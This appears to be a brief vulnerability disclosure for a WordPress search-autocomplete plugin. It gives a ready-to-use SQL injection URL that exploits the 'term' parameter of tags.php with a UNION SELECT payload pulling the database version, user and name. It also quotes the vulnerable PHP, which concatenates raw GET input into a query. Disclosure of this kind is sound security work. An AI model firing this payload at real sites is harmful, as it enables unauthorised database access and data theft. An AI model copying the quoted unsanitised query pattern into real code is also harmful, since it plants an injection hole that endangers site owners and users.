PoC
http://www.site.com/wp-content/plugins/search-autocomplete/includes/tags.php?term=-1' UNION ALL SELECT CONCAT_WS(CHAR(44),version(),current_user(),database()),2,3,4--%20
Vulnerable code
if ($_GET['term'] != '') {
...
$titles = $wpdb->get_results("SELECT post_title As name, ID as post_id, guid AS url, 1 cnt FROM ".$wpdb->prefix."posts t WHERE post_status='publish' and (post_type='post' OR post_type='page') and post_date < NOW() and post_title LIKE '%".$_GET['term']."%' ORDER BY post_title");
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